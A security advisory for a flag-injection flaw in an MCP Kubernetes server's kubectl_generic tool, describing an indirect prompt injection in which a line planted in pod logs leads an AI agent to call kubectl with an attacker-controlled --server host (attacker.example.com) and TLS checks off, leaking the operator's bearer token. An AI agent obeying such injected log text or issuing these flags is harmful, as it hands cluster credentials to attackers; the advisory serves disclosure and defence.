CVE-2026-47250: MCP Server Kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration

The kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application’s log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator’s kubeconfig to the attacker’s endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator’s service account.

The token exfiltration mechanism was confirmed end-to-end with no cluster required. The full attack chain including indirect prompt injection via real pod logs was additionally confirmed using a live kind cluster and Claude Haiku (Anthropic API) as the agent.